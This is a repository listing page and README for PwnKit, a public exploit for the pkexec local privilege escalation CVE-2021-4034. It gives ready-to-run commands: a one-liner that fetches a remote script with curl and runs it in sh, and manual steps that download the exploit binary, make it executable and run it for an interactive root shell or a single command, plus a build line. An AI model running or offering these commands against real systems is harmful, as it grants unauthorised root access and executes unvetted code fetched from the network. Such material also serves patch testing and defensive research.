https://github.com/ly4k/PwnKit

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
https://github.com/ly4k/PwnKit

cve-2021-4034

Last synced: about 1 month ago
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Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

• Host: GitHub
• URL: https://github.com/ly4k/PwnKit
• Owner: ly4k
• License: mit
• Created: 2022-01-26T14:26:10.000Z (almost 3 years ago)
• Default Branch: main
• Last Pushed: 2022-06-21T14:52:05.000Z (over 2 years ago)
• Last Synced: 2024-10-30T01:38:09.966Z (about 1 month ago)
• Topics: cve-2021-4034
• Language: C
• Homepage:
• Size: 569 KB
• Stars: 1,073
• Watchers: 13
• Forks: 189
• Open Issues: 5
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - ly4k/PwnKit - Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation (C)

README

        
# PwnKit

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

## Usage

Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

```bash

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

```

![](./imgs/oneliner.png)

### Manually

```bash

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

chmod +x ./PwnKit

./PwnKit # interactive shell

./PwnKit 'id' # single command

```

![](./imgs/exploit.png)

### Patched

Running the exploit against patched versions will yield the following output.

![](./imgs/patched.png)

### Build

```bash

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

```

## Technical Details

- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

## References

- https://github.com/arthepsy/CVE-2021-4034/